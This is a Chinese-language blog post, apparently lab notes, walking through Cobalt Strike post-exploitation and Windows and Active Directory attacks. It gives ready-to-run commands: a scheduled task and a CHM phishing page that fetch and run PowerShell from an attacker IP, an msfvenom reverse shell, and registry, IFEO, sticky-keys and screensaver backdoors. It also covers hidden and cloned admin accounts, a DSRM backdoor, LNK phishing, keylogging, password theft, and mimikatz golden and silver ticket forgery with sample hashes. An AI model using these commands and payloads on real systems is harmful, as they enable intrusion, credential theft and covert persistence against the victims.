Cobalt Strike使用

一般服务器都都会习惯在linux,客户端在Windows
我们在kali解压缩好,运行./teamserver文件
命令为                       服务器密码
./teamserver 192.168.139.133 123456
                 服务器IP
image-20231128094823790
紧接着我们运行cobaltstrike
执行
./cobaltstrike
image-20231128095411825
填写的信息为,刚才在./teamserver输入的服务器端信息
IP:192.168.139.133
密码:123456
image-20231128095619985
当我们输入完信息点击connect时,会弹出这样一个框,其中的值与我们的运行./teamserver给我们的值类似,如下图。指纹校验的主要作用是防篡改,且每次创建Cobalt Strike团队服务器时生成的指纹都不一样。其次就是起到预防中间人的作用
image-20231128095924731
确认我们的指纹一致即可点击是,进入连接界面
image-20231128100231684

功能使用

1、Cobalt Strike模块
2、view模块
3、attacks模块
4、web drive-by模块
5、reporting模块
6、help模块
Cobalt Strike模块

New Connection # 新建连接,支持连接多个服务器端Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图(三种视图)VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等Close # 退出连接
image-20231128142118717

添加,删除服务器

image-20231128103238926
这是具体的操作流程原理,服务器执行的命令都是攻击客户端指使的
image-20231128104159949

添加监听

1701140622015
点击加号会自动添加服务器的IP地址
image-20231128110450809
这里设置payload的种类
image-20231128110620511
监听完成
image-20231128110649694
生成木马
1701140999102
如果操作系统是64位就选择x64 
image-20231128111053943
选择保存位置
image-20231128111130738
生成完成
image-20231128111316197
放到目标主机上,执行程序
image-20231128111949700
可以从服务器端看见有数据回连了
image-20231128112039656
数据名词解释,last表示我们的payload每隔60s回连一次服务器端的监听(也叫做心跳包)
image-20231128112604107
我们选择interact选择交互模式,因为我们这个payload的回连时间为60s,所以,我们输入指令他60s才会执行一次
1701142822616
所以我们手动在底下的交互式命令行输入 sleep 0,我们执行完成后可以看见,我们的last变成了以ms为单位
1701143058393

Pivot图

Visualization功能分类:
图形化:
图形化展示了 Cobalt Strike 的数据模型中的目标主机。展示了每个目标的账户、主机名、连接进程号、账号权限(有电流表示管理员)、是否能出网(虚线表示能出网、实线跳板通讯)。

Pivot图主要是显示会话与会话之间的详细关系,可以清楚的看到会话之间的父子关系,
红色边框、并且带有闪电表示Beacon运行在管理员权限
防火墙图标代表你 Beacon payload 的流量出口点。
绿色虚线表示使用了 HTTP 或 HTTPS 连接出网。 
黄色虚线表示使用 DNS 协议出网。
如果一个会话用箭头连接着另一个会话表示这两个会话之间是父子关系,子会话通过父会话传递和接受C2指令,父子会话之间可以通过两种方式建立连接,Windows 命名管道或TCP Sockets,如果是橙黄色的箭头那么代表两个会话之间使用Windows命名管道连接(SSH会话也使用橙黄色),如果是青色的箭头那么代表两个会话之间使用TCP socket 通道连接,红色(命名管道)或紫色(TCP)箭头则表示一个Beacon会话连接断开。
image-20231128141217876

目标列表

列出你的目标列表
1701151899686

扫描网段的主机(主机发现)

1701152286570

Dump Hashs

导出hash值
image-20231128142632201
被我选中的部分都是一样的,为lmhash,已经被废弃了
image-20231128142700229
可以在这里查看所有获得的hash
1701152934040

提权模块

1701153029641
会打开一个新的模块
1701153230304
1701153293247

伪造黄金票据

1701153594030
1701153914189
image-20231128151904874

Make Token

image-20231128152905331

派生

我们选择生成一个替身,敏感操作我们选择让他执行,要是被发现也只会是他被杀
1701156847046

生成成功
image-20231128153909475
使用TCP也派生成功
image-20231128154741414

vnc 模块 远程操作目标主机

1701159273842

浏览文件

image-20231128162618648
image-20231128162538729
唯一注意的就是,下载是攒到一起,最后点上面的
1701160643162

进程列表

注意你的权限,不能杀比你权限高的程序
image-20231128164032779
可以选择kill,来杀死进程
image-20231128164543670
需要选择权限比自己低,或者相等为最好
这里选择的payload需要注意,例如第一个http为可以出网,不能出网的payload只可以最为派生在其他主机上
image-20231128170705651

键盘记录

前提条件

1.尽量为administrator权限,system权限有可能失败
2.要选中进程列表中黄色的进程才可以进行键盘记录
image-20231128172538780
去目标机进行实验
image-20231128172603405
image-20231128172635536

屏幕拍照

这是在问你拍一张还是拍多张
image-20231128172807652
这里当我们选择拍多张时,屏幕有变化就会截图拍给我们
image-20231128172930289

获取token

image-20231128173516462

导入插件

导入的需要时.cna文件
image-20231129091148663
如何使用
image-20231129091702311
获取RDP密码
首先使用目标主机远程桌面连接其他任意主机
image-20231129110347511
其次使用,攻击获取远程桌面连接的密码
1701227536169
获取navicat密码
首先本地使用navicat连接数据库
image-20231129111718063
需要注意的是,我们要使用administrator用户,不要使用system用户
1701227969418
成功获取
image-20231129112027596
获取浏览器保存的密码
首先在浏览的保存密码中随便添加一个密码
image-20231129114514128
使用工具直接获取密码
image-20231129114415134
锁屏钓鱼
注意使用administrator权限system权限不可以
image-20231129141926015
页面会比较假,防止你滥用
image-20231129142023409
而且输入错误的密码是进不去的,需要输入正确的密码
image-20231129142134130

注册表后门

一般的启动项路径为
计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
image-20231129143039839

使用cobalt strike

image-20231129143441928
key对应HKEY_CURRENT_USER的缩写,callbackfile这里我指向计算器,实际应用指向我们的后门木马
image-20231129143531444
我们可以看见他其实是执行了,这两句话
image-20231129143638274
重启目标主机,验证,成功
image-20231129143943425

计划任务后门

计划任务
linux:crontab
高版本Windows:schtasks 
低版本Windows:at

使用cobalt strike

image-20231129151305334
image-20231129151900944
登录目标主机查看任务计划程序,有没有我们写入的计划任务
image-20231129151942288

手动创建计划任务

目标主机执行:
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX((new-object net.webclient) .downloadstring('http://192.168.139.133:11111/calc.exe'))'" /sc onlogon /ru System
成功创建,计划任务
image-20231129152829728

系统服务后门

在windows中可以通过win+r,输入service.msc来查看服务,却不可以自己修改

使用cobalt strike

创建服务和启动服务都需要在cobalt strike中执行
注意,尽量使用windows10和windows servers 2012之前的版本
一样也是运行后门木马
image-20231129153803183
创建完成
image-20231129163649781
image-20231129163730388
启动服务,成功运行,因为是system权限的程序,所以是后台运行
image-20231129163635761

logonscript劫持

在注册表中找到路径
HKCU\Environment
image-20231129171448616
名称必须为UserInitMprLogonScript,正常来说也是写木马的路径,这里写一个计算器来验证一下
image-20231129171549605
注销用户重新登陆,成功弹出
一般logonscript劫持优先于常见杀软前执行 帮助绕过对杀软的查杀
image-20231129171703546

IFEO镜像劫持

image file execution options
镜像文件执行选项

负责 将常见的一些程序与对应的想要执行的文件进行关联
打开注册表
找到如下路径
image-20231129172237211
创建并修改,目录及文件不要错误,sethc.exe选择新建项,Debugger选择新建字符串,之后再Debugger中输入我们自己木马的路径
1701249956988
按五次shift进行验证,成功弹窗
image-20231129172816590

隐藏用户

使用net user zzp$ Zz2002510! /add 来创建隐藏用户
image-20231121210410511
使用net user 是看不出来的
image-20231121210517958
后面,我们执行
net localgroup administrators zzp$ /add
来把我们的用户添加到管理员组
image-20231121210911987
注意一:
此时虽然使用命令行无法看到 wxiaoge$ 隐藏用户,但是采用其它方法仍旧可以发现zzp$ 隐藏用户,为了更好的隐藏新建的账户,还需要进行修改注册表文件操作。

注意二:
1、打开windws server 2012的远程桌面功能
2、需将新创建的隐藏账户 zzp$ 添加在允许远程桌面用户的位置,默认只允许 Administrator,不然隐藏账户 zzp$ 无法登录
3、远程登录隐藏账户 zzp$ 时,账户名是zzp$ 密码是Zz2002510!

如何查看隐藏用户

控制面板(控制面板-》用户账户-》管理账户)依然还是可以看到 zzp$ 账户存在
image-20231121211852093
通过管理工具-》计算机管理-》本地用户和组-》用户 依然还是可以看到 zzp$ 账户存在
image-20231121211950882

如何使用隐藏用户远程连接

image-20231121211722343

克隆账户

win+r 输入regedit进入到注册表页面,随后找到"HKEY_LOCAL_MACHINE\SAM\SAM",单击右建权限把名叫"administrator"的用户给予"完全控制以及读取"的权限
image-20231121213200630
随后关掉注册表并使用管理员打开cmd重新在命令行中输入"regedt.exe"后回车重新打开注册表
随后来到注册表编辑器的"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names"处,点击zzp$用户,得到在右边显示的键值中的"类型"一项显示为0x3eb,找到箭头所指目录
%0K@Q88@T$WLRD6}8}SHAHU
随后找到administrator所对应的的项为"000001F4",将"000001F4"的F值复制到"000003EB"的F值中,保存
QQ图片20231121214215
image-20231121214345818
分别将zzp$和"0000003EB"导出到桌面
image-20231121214644968
删除隐藏用户
net user zzp$ /del
image-20231121214728551
点击刚刚导出保存的 zzp和3EB,点击之后会自动导入注册表,下图是导入成功的
image-20231121214848102
各种方法均发现不了,除非对照用户和注册表才可以发现
image-20231121215024775

不能使用远程桌面连接解决办法

首先需要将zzp$添加到可以远程桌面连接用户中
image-20231121222626082
win+R,打开运行窗口,输入regedit,打开注册表编辑器,
找到路径:计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
在System文件夹内创建文件夹项:\CredSSP\Parameters
在Parameters文件夹内,新建 DWORD(32)位值(D),文件名为 AllowEncryptionOracle,值为2
1700575657047
还是有这个报错
image-20231121221752161
我的解决办法,取消仅允许那个选项即可
1700576669708
image-20231121222507914

屏幕保护程序

其实也就是修改注册表在对应的值中加入木马路径,当触发登陆就会自动执行了木马。
打开注册表regedit,屏幕保护程序储存在HKEY_CURRENT_USER\Control Panel\Desktop位置
image-20231121225652299
SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。

在本质上,.scr文件是可执行文件。

ScreenSaveActive表示屏保状态,1为启动,0为关闭。

ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。

ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。
第一步:使用msf生成shell
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.140 LPORT=8686 -f exe >shell.exe
image-20231121231851234
第二步:监听本地端口

进入msf控制台
msfconsole

使用监听模块
use exploit/multi/handler

将模块的监听模式配置为反向windows小马监听
set payload windows/meterpreter/reverse_tcp

设置本机地址(攻击方)
set lhost 192.168.139.140

设置本机端口(攻击方)
set lport 8686

开始监听
run
image-20231121231721519
将shell.exe移动到windows中,改名为desktop.exe
执行:reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\desktop.exe" /f
等待一分钟,不使用鼠标,kali就会有反弹
image-20231121231612144

另一种粘滞键劫持

修改windows/system32底下的sethc文件,复制我们的后门改为sethc.exe覆盖文件,他下次再次调用就会变成calc.exe
image-20231130091701046

DSRM后门

域控制器后门

DSRM(Directory Services Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。
在渗透测试中可以使用DSRM账号对域环境进行持久化操作
修改DSRM密码2012cmd中运行:修改过程中会同时修改administrator密码NTDSUTIL 
打开ntdsutil
Set dsrm password 设置DSRM密码
Reset password on server null 在当前域控制器上恢复DSRM密码
<password> 输入修改后的密码
<password> 确认密码
q 退出DSRM密码设置模式
q 退出ntdsutil

必须要一步一步按着流程走
image-20231130093044868
在域控制器打开mimikatz,输入以下命令:
privilege::debug
lsadump::lsa /patch /name:krbtgt 查看krbtgt的NTLMHash
token::elevate
lsadump::sam 查看并读取SAM文件中本地管理员的NTLMHash
cmd中输入:将DSRM账号和krbtgt的NTLM Hash同步NTDSUTIL
SET DSRM PASSWORD
SYNC FROM DOMAIN account krbtgt
q
q
同步krbtgt的ntlm hash值
image-20231130095832707
同步到DSRM
image-20231130095845758
1701311051405
lsadump::sam         mimikatz中查看DSRM的NTLM Hash是否同步成功DSRM登录方式:
0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号;
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器;
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

使用powershell修改DSRM登录方式为2:New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
image-20231130104234394
其他设备上:
使用dsrm结合mimikatz登录远程域控制器:
privilege::debug
sekurlsa::pth /domain:WIN-DKVHOTP6J0N.zzp.com /user:administrator /ntlm:faec3220102c733d00b0c0cca0286db5
/ntlm:6c10ba3170a033209c86bbaf6818dbe1 已经成功持久弹框cmd中:
dir \\WIN-DKVHOTP6J0N.zzp.com\c$ 查看c盘内容
net use \\DC\ipc$ ipc连接

钓鱼

使用easy chm生成钓鱼文件
index.html的源码为这个
image-20231130144101835
1701325984539
验证是否可以弹出一个calc,可以
image-20231130144153162

联合cosbalt strike

1701328475267
点击生成,只复制生成的payload中地址部分
image-20231130151455025
最后index.html文件为
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.139.133:1179/a111'))">
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>

上线成功
image-20231130153659668

lnk钓鱼

创建一个名为test.lnk的快捷方式 该快捷方式使用cmd去执行 命令 该命令来自于test.txt文件

为什么arguments后面有那么多空格通过使用多个空格 在目标处将无法查看到隐藏的将要执行的代码
image-20231130161445653
text.txt文件中的内容,后面的网址修改为之前cs生成的网址
image-20231130161735863
执行powershell脚本
首先设置Set-ExecutionPolicy Unrestricted

再执行 powershell .\1.ps1
image-20231130162201028
生成test的快捷方式
image-20231130162325057
双击运行cobalt strike 上线
image-20231130162402485

clone网站钓鱼

image-20231130163350340
输入需要clone的网站
1701336260025
打开 web log
image-20231130172751331
成功钓鱼
image-20231130172642104

Kerberos协议

这一张图可以完美解释Kerberos协议
负责认证用户是否有权限向某项服务发起请求
1a2b00295adfa33adebd88a15064521

名词解释

client 客户

domain controller 域控制器

kdc = as + tgs

kdc key distrubiton center 密钥分发中心

as authentication service 认证服务中心

tgs ticket granting service 票据授予服务中心

简单流程

逐一解释图(1)假设域内主机一个用户lcx想访问域内某服务器server中的某服务

圈1 (AS-REQ):client发送用户信息到KDC,向AS请求TGT票据

圈2(AS-REP):KDC收到请求,看看client是否在AD的白名单中,在的话,AS生成随机Session Key,并用用户的NTLM HASH对Session Key 加密得到密文A,再用krbtgt的NTLM HASH 对Session Key、客户端信息Client Info、客户端时间戳timestamp加密得到TGT,并将A 和 TGT一起返回客户端client (这里是TGT)

圈3(TGS-REQ):client收到请求,用自身的NTLM HASH 解密 密文A 得到Session Key,再用Session Key加密Client Info与timestamp 得到密文B , 把密文B 和 TGT一起发给KDC 给TGS

圈4(TGS-REP):TGS 用krbtgt的NTLM HASH 解密TGT ,得到Session Key和timestamp和Client Info。再用这个由TGT解密出来的Session Key解密密文B得到timestamp与Client Info。 两相对比是否一致。如果一致,TGS生成新的随机 Session Key,叫它Session Key2 吧,用它加密timestamp和Client Info得到密文Enc。再用服务端server的NTLM HASH对Session Key2和timestamp和Client Info加密得到ticket,返回给客户端client (这里是ST)

圈5(AP-REQ):客户端client把ticket和Enc向服务端server发送,请求服务

圈6(AP-REP):服务端server用自己的NTLM HASH 对ticket进行解密得到Session Key2和timestamp和Client Info,再用解密出来的Session Key2解密密文Enc,得到timestamp和Client Info,进行信息校验,成功授权访
AS 认证服务 判断你想要登录的用户是否在DC主机的AD中 
如果在 AS 返回客户端TGT 用户凭据

用户携带TGT+ntlm hash加密的字符串 前往TGS
TGA 从AD中取得对应用户得ntlm 值 尝试对加密字符串进行解密 
解密之后得内容 如果通过验证 
此时TGS 会返回client一个ST server ticket 你具体想要访问得服务得票据
用户携带ST再去访问真正想要访问得服务

tgt AS颁发得 client交给TGS ST是由TGS颁发得 client交给真正访问得服务

tgt(黄金票据) st(白银票据)


1、客户端向 密钥分发中心KDC 中的 认证服务器AS进行请求,AS接收到请求后响应客户端并且返回一张票据TGT(此处是伪造黄金票据的位置)

2、客户端拿着认证服务器AS返回的票据TGT再次向密钥分发中心KDC 中的 票据授予服务器TGS请求,TGS收到请求后响应客户端并且返回一张票据ST(此处是伪造白银票据的位置)

3、客户端拿着票据授予服务器TGS返回的票据ST向服务端发起请求,服务端接收到请求后响应客户端,如若成功则完成整套Kerberos认证流程否则中断失败

黄金票据TGT

伪造黄金票据的前提条件

1) 域的sid(输入whoami /all 获取SID S-1-5-21-3159605089-145188794-3567602335-500)(后面的-500不要因为这是成员的sid)
2) 想要伪造的域用户(administrator)
3) krbtgt 的ntlm hash值(在mimkatz中执行: lsadump::dcsync /domain:zzp.com /user:krbtgt)(faec3220102c733d00b0c0cca0286db5)
4) 域的名称(zzp.com)
image-20231127151935199
image-20231127153249430
流程:
取得域成员主机webshell
提权,最少也得本地管理员
尝试使用mimikatz抓hash,运气好有域管hash(没有就得换方法)
利用pth攻击,登录DC(也可以直接开启3389或ssh端口),mimikatz导出krbtgt;

开始伪造

可以在能连上的域的主机执行以下命令,来生成域管的凭据,但是需要的就是之前的三点
klist 代表当前主机上存在哪些凭据
image-20231127161550591
klist purge 删除存在的票据
image-20231127162035329
使用mimikatz生成黄金票据
kerberos::golden /admin:Administrator /domain:zzp.com /sid:S-1-5-21-3159605089-145188794-3567602335 /krbtgt:faec3220102c733d00b0c0cca0286db5 /ticket:Administrator.kiribi(生成凭据的名称可以自定义)
image-20231127164646632
会在当前目录下生成凭据
image-20231127164701394
导入生成的票据
kerberos::ptt Administrator.kiribi
image-20231127164719387
exit退出mimikatz,
然后输入klist 查看缓存的票证
image-20231127164809178
执行:(DC 计算机名,不能跟ip)
首先我执行net time /domain获取DC的名称
\\WIN-DKVHOTP6J0N.zzp.com

dir \\WIN-DKVHOTP6J0N.zzp.com\c$ 查看C盘内容
image-20231127164955379
net use \\WIN-DKVHOTP6J0N.zzp.com\ipc$ IPC连接
net use  产看IPC连接
image-20231127165152106

白银票据

伪造白银票据的前提条件

1) 域名 (zzp.com)
2) 域的sid (输入whoami /all 获取SID S-1-5-21-3159605089-145188794-3567602335-500)(后面的-500不要因为这是成员的sid)
3) server 的服务器账户的ntlm hash值(bbf12aaadee372d3b389849b5b286fe0 一般主机名后面有$的即为这台电脑的server服务器 需要为DC的hash)
4) 想要伪造的用户名(随便用户名,因为服务器端不做验证)

白银票据偏向某一个具体的服务
1701076766217

开始伪造

在域内其他设备上伪造共享服务cifs:

kerberos::purge 清除票据缓存
image-20231127173500832
kerberos::golden /domain:zzp.com /sid:S-1-5-21-3159605089-145188794-3567602335 /target:DC.zzp.com /service:cifs /rc4:bbf12aaadee372d3b389849b5b286fe0 /user:administrator /ptt

名词解读
1. /domain:域名 
2. /sid:SID值
3. /target: 目标计算机全名 
4. /service: 需要指定相关的服务名,如cifs
5. /rc4: 域控的计算机(DC$)ntlm hash 
6. /user: 要伪造的用户名,任意填写

注意不用导入凭据,自动加载
image-20231127173818943

验证

exit退出mimikatz
执行:(DC 计算机名,不能跟ip)
dir \\WIN-DKVHOTP6J0N.zzp.com\c$ 查看C盘内容
image-20231127174003756
net use \\DC\ipc$ IPC连接
image-20231127174018735
执行klist,查看票据(一般在当前命令行查看,不在当前目录很大概率是查看不到的)
image-20231127174427218

Views: 43

邮箱:zzpqwetvg@gmail.com
最后更新于 2023-12-27